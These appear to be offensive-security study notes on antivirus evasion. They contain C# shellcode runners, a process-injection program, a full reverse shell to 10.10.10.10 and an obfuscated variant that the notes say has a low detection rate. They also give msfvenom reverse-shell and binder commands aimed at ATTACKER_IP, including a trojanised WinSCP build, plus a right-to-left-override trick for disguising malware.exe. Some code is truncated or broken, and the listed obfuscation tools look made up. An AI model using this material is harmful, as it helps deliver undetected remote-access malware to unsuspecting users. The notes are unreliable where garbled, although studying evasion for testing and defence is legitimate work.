# Retrieve the method information of the "RunShellcode" method from the class and assign it to the $method variable.
$method = $class.GetMethod("RunShellcode")

# Invoke the "RunShellcode" method, passing 0 as the instance object (since it's a static method) and $null as the method arguments.
$method.Invoke(0, $null)
using System;
using System.Runtime.InteropServices;

namespace Class1
{
    public class ShellcodeRunner
    {
        // Import the necessary functions from kernel32.dll
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        public static void RunShellcode()
        {
            // Replace the shellcodeBytes with your actual shellcode
            byte[] shellcodeBytes = new byte[460] {0xfc,0x48,...};

            // Allocate memory and copy the shellcode into it
            IntPtr shellcodePtr = ShellcodeRunner.VirtualAlloc(IntPtr.Zero, (uint)shellcodeBytes.Length, 0x3000, 0x40);
            Marshal.Copy(shellcodeBytes, 0, shellcodePtr, shellcodeBytes.Length);
            // Change the memory protection to allow execution
            ShellcodeRunner.VirtualProtect(shellcodePtr, (uint)shellcodeBytes.Length, 0x20, out _);
            // Create a new thread to execute the shellcode
            IntPtr threadHandle = ShellcodeRunner.CreateThread(IntPtr.Zero, 0, shellcodePtr, IntPtr.Zero, 0, IntPtr.Zero);
            // Wait for the thread to complete
            ShellcodeRunner.WaitForSingleObject(threadHandle, 0xFFFFFFFF);
            // Free the allocated memory
            ShellcodeRunner.VirtualFree(shellcodePtr, 0, 0x8000);
        }
    }
}

Packers

Packers are pieces of software that take a program as input and transform it so that its structure looks different, but their functionality remains exactly the same. Packers do this with two main goals in mind:

  • Compress the program so that it takes up less space.
  • Protect the program from reverse engineering in general.

When an application undergoes the packing process, it undergoes a transformation through a designated packing function. This function is responsible for obfuscating and altering the original code of the application in a manner that can be reasonably undone by an unpacking function, ensuring the preservation of the application's original functionality. Although the packer might occasionally introduce additional code to enhance the difficulty of debugging the application, its primary objective is to retrieve the original code that you authored when executing it.

AV solutions, however, could still catch your packed application for a couple of reasons:

  • While your original code might be transformed into something unrecognizable, remember that the packed executable contains a stub with the unpacker's code. If the unpacker has a known signature, AV solutions might still flag any packed executable based on the unpacker stub alone.
  • At some point, your application will unpack the original code into memory so that it can be executed. If the AV solution you are trying to bypass can do in-memory scans, you might still be detected after your code is unpacked.

Packing our shellcode

This payload takes a shellcode generated by msfvenom and runs it into a separate thread. 

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  public static void Main()
  {
    byte[] shellcode = new byte[] {0xfc,0x48,0x83,...,0xda,0xff,0xd5 };

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  }
}

Generate a shellcode and replace the shellcode in the code.

 msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=7478 -f csharp

Now compile it using csc.

csc UnEncStageless.cs

ConfuserEX2

ConfuserEx 2 is an free, open-source protector for .NET applications. It is the successor of Confuser project and the ConfuserEx project.

Releases · mkaring/ConfuserEx (github.com)

DISABLE PACKER - Packer in confuserEX is mostly busted.

When enabling rules. Don't go overboard.

Binders

Binders play a significant role in the development of malicious payloads for distribution among end users. Unlike AV bypass methods, binders merge multiple executables into a single program. Their primary purpose is to conceal the malicious payload within a familiar program, deceiving users into thinking they are running a different application.

One approach involves modifying the entry point within the PE header of the program. By doing so, your shellcode can be executed just before the legitimate program starts running. After the shellcode completes its execution, the control can be redirected back to the legitimate program. This clever technique ensures that when the user launches the resulting executable, the shellcode is discreetly executed first, seamlessly integrating with the normal execution of the program without drawing any attention from the user.

Binding with msfvenom

The method used by msfvenom injects your malicious program by creating an extra thread for it.

msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinSCP-evil.exe
# -x, --template             Specify a custom executable file to use as a template
# -k, --keep                       Preserve the template behavior and inject the payload as a new thread

Binders and AV

Binders won't do much to hide your payload from an AV solution. The simple fact of joining two executables without any changes means that the resulting executable will still trigger any signature that the original payload did.

When creating a real payload, you may want to use encoders, crypters, or packers to hide your shellcode from signature-based AVs and then bind it into a known executable so that the user doesn't know what is being executed.


Obfuscation

Obfuscation can be one of the most lucrative tools in an attackers arsenal when it comes to evasion. 

Layered obfuscation: a taxonomy of software obfuscation techniques for layered security

s42400-020-00049-3-1Download

Obfuscation Concatenation

Concatenation is a common programming concept that combines two separate objects into one object, such as a string.

Language Concatenation Operator
Python “+”
PowerShell “+”, ”,”, ”$”, or no operator at all
C# “+”, “String.Join”, “String.Concat”
C “strcat”
C++ “+”, “append”

Attackers can utilize non-interpreted characters, both independently or in combination with concatenation, to disrupt or confuse static signatures, thereby extending from the concept of concatenation.

Character Purpose Example
Breaks Break a single string into multiple sub strings and combine them ('co'+'ffe'+'e')
Reorders Reorder a string’s components ('{1}{0}'-f'ffee','co')
Whitespace Include white space that is not interpreted .( 'Ne' +'w-Ob' + 'ject')
Ticks Include ticks that are not interpreted d`own`LoAd`Stri`ng
Random Case Tokens are generally not case sensitive and can be any arbitrary case dOwnLoAdsTRing

Example

// Original code
public class ExampleClass
{
    public static void SensitiveFunction()
    {
        string secretData = "Sensitive information";
        Console.WriteLine("Secret data: " + secretData);
    }
}
  • Line 3: Defines a public class named ExampleClass.
  • Line 4: Defines a public static method named SensitiveFunction() within the ExampleClass class.
  • Line 5: Declares a string variable named secretData and assigns it the value "Sensitive information".
  • Line 6: Prints a message to the console, concatenating the string "Secret data: " with the value of secretData.
// Obfuscated code using string concatenation
public class ObfuscatedClass
{
    public static void S()
    {
        string _0x8b74 = "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E";
        string _0xf868 = _0x8b74;
        string _0xef50 = "Secret data: " + _0xf868;
        Console.WriteLine(_0xef50);
    }
}
  • Line 13: Defines a public class named ObfuscatedClass.
  • Line 14: Defines a public static method named S() within the ObfuscatedClass class. This is the obfuscated version of the original method.
  • Line 15: Declares a string variable _0x8b74 and assigns it the obfuscated string value "\x53\x65\x6E\x73\x69\x74\x69\x76\x65\x20\x69\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E". This string represents "Sensitive information" using hexadecimal escape sequences.
  • Line 16: Declares a string variable _0xf868 and assigns it the value of _0x8b74. This step is unnecessary in this example and does not contribute to the obfuscation.
  • Line 17: Declares a string variable _0xef50 and assigns it the concatenation of the string "Secret data: " and the value of _0xf868. This recreates the original message.
  • Line 18: Prints the value of _0xef50 to the console using Console.WriteLine().

In the obfuscated code, the original variable name secretData and class name ExampleClass have been replaced with obfuscated names prefixed with _0x. The sensitive string "Sensitive information" has been represented using hexadecimal escape sequences to make it harder to read and understand. The string concatenation technique is used to reconstruct the original message and print it to the console.

Obfuscation table

Obfuscation Method Purpose
Junk Code Add junk instructions that are non-functional, also known as a code stubs
Separation of Related Code Separate related codes or instructions to increase difficulty in reading the program
Stripping Redundant Symbols Strips symbolic information such as debug information or other symbol tables
Meaningless Identifiers Transform a meaningful identifier to something meaningless
Implicit Controls Converts explicit controls instructions to implicit instructions
Dispatcher-based Controls Determines the next block to be executed during the runtime
Probabilistic Control Flows Introduces replications of control flows with the same semantics but different syntax
Bogus Control Flows Control flows deliberately added to a program but will never be executed

Code obfuscation is a process that makes your application binaries harder to read with a decompiler. It’s an important tool for protecting your business’s intellectual property. It can also be used to bypass modern anti-virus solutions. Some common obfuscation techniques include the following.

Obfuscation's Function for Static Evasion

Common obfuscation techniques for static evasion

  • Renaming Variables and Functions:

Change variable and function names to random, meaningless names.

  • Use non-descriptive, abbreviated, or cryptic names to make the code harder to understand.
  • Convert names to Unicode or other character encodings.
  • String Encryption:

Encrypt sensitive strings (e.g., URLs, API keys) and decrypt them at runtime.

  • Use custom encryption algorithms or known encryption algorithms with custom keys.
  • Split strings into multiple parts and reassemble them dynamically.
  • Code Splitting and Joining:

Split critical parts of the code into multiple sections or files.

  • Use techniques like dynamic loading or runtime code generation to join and execute the code sections.
  • Dead Code Injection:

Inject unused or unreachable code to confuse static analysis tools.

  • Insert random or irrelevant statements and functions that have no effect on the program's logic.
  • Control Flow Obfuscation:

Modify the control flow of the code to make it harder to follow.

  • Use techniques like code flattening, code reordering, and spaghetti code.
  • Insert unnecessary loops, conditionals, and jumps.
  • Code Transformation:

Use code transformations to modify the structure and behavior of the code.

  • Apply operations like code splitting, code merging, function inlining, and loop unrolling.
  • Convert high-level constructs to lower-level representations (e.g., replace loops with goto statements).
  • Anti-Debugging Techniques:

Implement checks to detect and evade debugging environments.

  • Use API calls to detect debugger presence, such as IsDebuggerPresent() or CheckRemoteDebuggerPresent().
  • Insert conditional code that changes behavior when a debugger is detected.
  • Obfuscated Constant Values:

Replace constant values with calculations or complex expressions.

  • Use bitwise operations, mathematical functions, or string operations to derive constant values dynamically.
  • Code Compression:

Compress the code using compression algorithms (e.g., zlib) and decompress it at runtime.

  • Encrypt the compressed code to prevent easy analysis and extraction.
  • Metadata Manipulation:

Modify or remove metadata from the executable file, such as version information or symbol tables.

  • Change timestamps or other file properties to make analysis more difficult.

Tools and examples for each technique

  • Renaming Variables and Functions:

Tool: obfuscator

  • Command: obfuscator --rename file.c
  • String Encryption:

Tool: string_encryption_tool

  • Command: string_encryption_tool --input file.c --output obfuscated_file.c
  • Code Splitting and Joining:

Tool: code_splitter

  • Command: code_splitter --split file.c
  • Command: code_splitter --join obfuscated_parts/* --output obfuscated_file.c
  • Dead Code Injection:

Tool: dead_code_injector

  • Command: dead_code_injector --inject file.c --output obfuscated_file.c
  • Control Flow Obfuscation:

Tool: control_flow_obfuscator

  • Command: control_flow_obfuscator --obfuscate file.c --output obfuscated_file.c
  • Code Transformation:

Tool: code_transformer

  • Command: code_transformer --transform file.c --output obfuscated_file.c
  • Anti-Debugging Techniques:

Tool: anti_debugger_tool

  • Command: anti_debugger_tool --apply file.c --output obfuscated_file.c
  • Obfuscated Constant Values:

Tool: constant_obfuscator

  • Command: constant_obfuscator --obfuscate file.c --output obfuscated_file.c
  • Code Compression:

Tool: code_compressor

  • Command: code_compressor --compress file.c --output obfuscated_file.c
  • Metadata Manipulation:

Tool: metadata_manipulator

  • Command: metadata_manipulator --modify file.c --output obfuscated_file.c

Protecting and Stripping Identifiable Information

Object names

// Original
#include "windows.h"
#include
#include
using namespace std;
int main(int argc, char* argv[])
{
	unsigned char shellcode[] = "";
	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	string leaked = "This was leaked in the strings";
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	cout << "Handle obtained for" << processHandle;
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	cout << "Buffer Created";
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	cout << "Process written with buffer" << remoteBuffer;
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
	cout << "Closing handle" << processHandle;
	cout << leaked;
	return 0;
}
// Remove comments and replace the meaningful identifiers to resolve this problem.
#include "windows.h"
int main(int argc, char* argv[])
{
	unsigned char awoler[] = "";
	HANDLE awerfu;
	HANDLE rwfhbf;
	PVOID iauwef;
	awerfu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	iauwef = VirtualAllocEx(awerfu, NULL, sizeof awoler, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(awerfu, iauwef, awoler, sizeof awoler, NULL);
	rwfhbf = CreateRemoteThread(awerfu, NULL, 0, (LPTHREAD_START_ROUTINE)iauwef, NULL, 0, NULL);
	CloseHandle(awerfu);
	return 0;
}

Code Structure

// Original code
public class OriginalClass
{
    public static void OriginalMethod()
    {
        int a = 10;
        int b = 20;
        int sum = a + b;
        Console.WriteLine("Sum: " + sum);
    }
}
// Obfuscated code with code structure obfuscation
public class ObfuscatedClass
{
    public static void ObfuscatedMethod()
    {
        int _0x4 = 10;
        int _0x8 = 20;
        int _0xc = _0x4 + _0x8;
        Console.WriteLine(_0xc.ToString().Replace("0", ""));
    }
}

In this example, we have an original class OriginalClass with a method OriginalMethod() that performs a simple addition of two integers and prints the sum. The obfuscated class ObfuscatedClass is an altered version of the original class where the code structure has been obfuscated.

File & Compilation Properties

To remove symbols from a compiler like Visual Studio, we need to change the compilation target from Debug to Release or use a lighter-weight compiler like mingw.

If we need to remove symbols from a pre-compiled image, we can use the command-line utility: strip.

# Check symbols
nm file.exe
# Strip file of symbols
strip --strip-all cmdshell.exe

Obfuscation Methods with examples

Renaming identifiers

To make them unreadable. The obfuscator alters the methods and names of variables. The new names may include unprintable or invisible characters1. For example, a variable named password can be renamed to p@$$w0rd or 💩.

// Orignal code
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RenamingIdentifiersExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            return z;
        }
    }
}
// By using an obfuscator tool like Dotfuscator, you can rename the identifiers
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AAAAAAA
{
    class BBBBBBB
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = CCCCCC.DDDDDD(a, b);
            Console.WriteLine(result);
        }
        static int DDDDDD(int x, int y)
        {
            int z = x + y;
            return z;
        }
    }
}

Packing compresses

The entire program to make the code unreadable: This reduces the size of the executable file and makes it harder to analyze1. For example, a program that prints “Hello World” can be packed into a single line of code that looks like gibberish.

// To pack your code, you can use a tool like UPX (https://upx.github.io/).
// Here's an example command to pack a C# executable:
// upx myprogram.exe

Control flow obfuscation

Alters the structure of the code: This changes the order and logic of the instructions without affecting their functionality1. For example, a simple loop can be replaced with a complex switch statement or a recursive function.

// Original
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }
    }
}
// By using an obfuscator tool like Dotfuscator, you can use control flow obfuscation to make the code more difficult to understand
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ControlFlowObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            if (z >= 0)
            {
                goto LABEL1;
            }
            z = -z;
            LABEL1:
            return z;
        }
    }
}

Instruction pattern transformation

Changes the way instructions are executed. This modifies the low-level representation of the code to make it more obscure1. For example, an arithmetic operation can be replaced with bitwise operations or function calls.

// This technique is typically implemented using a tool like LLVM Obfuscator (https://github.com/obfuscator-llvm/obfuscator).
// Here's an example command to obfuscate a C# program using LLVM Obfuscator:
// obfuscator-llvm myprogram.exe

Dummy code insertion

Adds irrelevant code to confuse decompilers. This inserts extra statements that do not affect the output but make the code longer and more complicated1. For example, a random number generator can be added before every conditional statement or a useless variable can be declared and assigned.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DummyCodeInsertionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }
        // Dummy code inserted to confuse decompilers
        static void Dummy1()
        {
            int a = 1;
            int b = 2;
            int c = 3;
            int d = 4;
            int e = 5;
            int f = 6;
            int g = 7;
            int h = 8;
            int i = 9;
            int j = 10;
            int k = 11;
            int l = 12;
            int m = 13;
            int n = 14;
            int o = 15;
            int p = 16;
            int q = 17;
            int r = 18;
            int s = 19;
            int t = 20;
            int u = 21;
            int v = 22;
            int w = 23;
            int x = 24;
            int y = 25;
            int z = 26;
        }
        // Dummy code inserted to confuse decompilers
        static void Dummy2()
        {
            string s1 = "hello";
            string s2 = "world";
            string s3 = "!";
            string s4 = "1";
            string s5 = "2";
            string s6 = "3";
            string s7 = "4";
            string s8 = "5";
            string s9 = "6";
            string s10 = "7";
            string s11 = "8";
            string s12 = "9";
            string s13 = "0";
        }
    }
}

Metadata or unused code removal

Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.

// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum

Opaque predicate insertion

Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace OpaquePredicateInsertionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            else
            {
                OpaquePredicate();
            }
            return z;
        }
        // Opaque predicate inserted to confuse decompilers
        static void OpaquePredicate()
        {
            if (DateTime.Now.Ticks % 2 == 0
             {
                 int a = 1;
                 int b = 2;
                 int c = 3;
                 int d = 4;
                 int e = 5;
                 int f = 6;
                 int g = 7;
                 int h = 8;
                 int i = 9;
                 int j = 10;
                 int k = 11;
                 int l = 12;
                 int m = 13;
                 int n = 14;
                 int o = 15;
                 int p = 16;
                 int q = 17;
                 int r = 18;
                 int s = 19;
                 int t = 20;
                 int u = 21;
                 int v = 22;
                 int w = 23;
                 int x = 24;
                 int y = 25;
                 int z = 26;
             }
         }
     }
}

Anti-Debug

Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AntiDebuggingExample
{
    class Program
    {
        static void Main(string[] args)
        {
            if (IsDebuggerAttached())
            {
                Console.WriteLine("Debugger detected!");
                return;
            }
            int a = 10;
            int b = 20;
            int result = Add(a, b);
            Console.WriteLine(result);
        }
        static int Add(int x, int y)
        {
            int z = x + y;
            if (z < 0)
            {
                z = -z;
            }
            return z;
        }
        // Check if a debugger is attached to the process
        static bool IsDebuggerAttached()
        {
            bool isDebuggerAttached = false;
            try
            {
                isDebuggerAttached = System.Diagnostics.Debugger.IsAttached;
            }
            catch
            {
                // Ignore exceptions
            }
            return isDebuggerAttached;
        }
    }
}

Encryption

This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace StringEncryptionExample
{
    class Program
    {
        static void Main(string[] args)
        {
            string secretMessage = Decrypt("jkpmttwmtdvwuvuqtm");
            Console.WriteLine(secretMessage);
        }
        static string Decrypt(string encryptedMessage)
        {
            byte[] bytes = Encoding.ASCII.GetBytes(encryptedMessage);
            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] = (byte)(bytes[i] - 1);
            }
            return Encoding.ASCII.GetString(bytes);
        }
    }
}

Tokenization

This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.

using System;
namespace TokenizationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            // Declare a variable with a tokenized name
            string v_a_r_i_a_b_l_e = "Hello, world!";
            // Print the value of the variable
            Console.WriteLine(v_a_r_i_a_b_l_e);
        }
    }
}

Byte shuffle

Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .

For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense.

For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ByteShuffleObfuscationExample
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] bytes = new byte[] { 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 33 };
            string message = Encoding.ASCII.GetString(Shuffle(bytes));
            Console.WriteLine(message);
        }
        static byte[] Shuffle(byte

Example reverse shell using C# - Encryption and Byte shuffle

The obfuscated code have low detection rate.

// Non obfuscated C# reverse shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;

namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;
		public static void Main(string[] args)
		{
			using (TcpClient client = new TcpClient("10.10.10.10", 9001))
			{
				using (Stream stream = client.GetStream())
				{
					using (StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						StringBuilder strInput = new StringBuilder();
						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();
						while (true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}
		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
		{
			StringBuilder strOutput = new StringBuilder();
			if (!String.IsNullOrEmpty(outLine.Data))
			{
				try
				{
					strOutput.Append(outLine.Data);
					streamWriter.WriteLine(strOutput);
					streamWriter.Flush();
				}
				catch (Exception err) { }
			}
		}
	}
}
// Obfuscated using encryption and byte shuffle
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace ConnectionBack
{
    public class SecurityAssessment
    {
        static StreamWriter streamWriter;
        public static void Main(string[] args)
        {
            // Create a new TCP client object
            TcpClient client = new TcpClient();
            // Connect to a remote host using a decrypted IP address and port number
            client.Connect(Decrypt("wplS5f1GpB", "hY4k9d3FtI"));
            // Get the network stream associated with the client
            Stream stream = client.GetStream();
            // Create a stream reader to read data from the stream
            StreamReader reader = new StreamReader(stream);
            // Create a stream writer to write data to the stream
            streamWriter = new StreamWriter(stream);
            // Create a new process object
            Process process = new Process();
            // Set the file name of the process to be a decrypted string (probably cmd.exe)
            process.StartInfo.FileName = Decrypt("RJFmS41wEagls40=", "Mjy9m4Lk4m");
            // Do not create a window for the process
            process.StartInfo.CreateNoWindow = true;
            // Do not use shell execute (use native code instead)
            process.StartInfo.UseShellExecute = false;
            // Redirect standard output, input and error streams of the process
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardInput = true;
            process.StartInfo.RedirectStandardError = true;
			// Add an event handler for when data is received on standard output
			// This will send the output back to the remote host via stream writer
			process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
			// Start the process
			process.Start();
			// Begin reading asynchronously from standard output
			process.BeginOutputReadLine();
			// Loop forever
			while (true)
			{
				// Create a string builder to store input
				StringBuilder input = new StringBuilder();
				// Read a line from the stream reader (from remote host)
				input.Append(reader.ReadLine());
				// Write the input line to standard input of the process (execute command)
				process.StandardInput.WriteLine(input);
				// Clear the input string builder
				input.Remove(0, input.Length);
			}
        }
        private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
        {
        	// Create a string builder to store output
        	StringBuilder output = new StringBuilder();
        	// If there is some data received on standard output
        	if (!String.IsNullOrEmpty(outputLine.Data))
        	{
        		try
        		{
        			// Append it to output string builder
        			output.Append(outputLine.Data);
        			// Write it to stream writer (to remote host)
        			streamWriter.WriteLine(output);
        			streamWriter.Flush();
        		}
        		catch (Exception) { }

Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick

https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw

rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)

Signature Evasion

Signature Identification

When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.

We can use the native utilities headdd, or split to split a compiled binary. 

Automatic Signature Identification

DefenderCheck

GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.

Find-AVSignature.ps1

PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub

PS C:\> . .\FInd-AVSignature.ps1
PS C:\> Find-AVSignature
cmdlet Find-AVSignature at command pipeline position 1
Supply values for the following parameters:
StartByte: 0
EndByte: max
Interval: 1000
Do you want to continue?
This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

ThreatCheck

ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.

GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.

C:\Users\Rasta>ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x6D7A
00000000   65 00 22 00 3A 00 22 00  7B 00 32 00 7D 00 22 00   e·"·:·"·{·2·}·"·
00000010   2C 00 22 00 74 00 6F 00  6B 00 65 00 6E 00 22 00   ,·"·t·o·k·e·n·"·
00000020   3A 00 7B 00 33 00 7D 00  7D 00 7D 00 00 43 7B 00   :·{·3·}·}·}··C{·
00000030   7B 00 22 00 73 00 74 00  61 00 74 00 75 00 73 00   {·"·s·t·a·t·u·s·
00000040   22 00 3A 00 22 00 7B 00  30 00 7D 00 22 00 2C 00   "·:·"·{·0·}·"·,·
00000050   22 00 6F 00 75 00 74 00  70 00 75 00 74 00 22 00   "·o·u·t·p·u·t·"·
00000060   3A 00 22 00 7B 00 31 00  7D 00 22 00 7D 00 7D 00   :·"·{·1·}·"·}·}·
00000070   00 80 B3 7B 00 7B 00 22  00 47 00 55 00 49 00 44   ·?³{·{·"·G·U·I·D
00000080   00 22 00 3A 00 22 00 7B  00 30 00 7D 00 22 00 2C   ·"·:·"·{·0·}·"·,
00000090   00 22 00 54 00 79 00 70  00 65 00 22 00 3A 00 7B   ·"·T·y·p·e·"·:·{
000000A0   00 31 00 7D 00 2C 00 22  00 4D 00 65 00 74 00 61   ·1·}·,·"·M·e·t·a
000000B0   00 22 00 3A 00 22 00 7B  00 32 00 7D 00 22 00 2C   ·"·:·"·{·2·}·"·,
000000C0   00 22 00 49 00 56 00 22  00 3A 00 22 00 7B 00 33   ·"·I·V·"·:·"·{·3
000000D0   00 7D 00 22 00 2C 00 22  00 45 00 6E 00 63 00 72   ·}·"·,·"·E·n·c·r
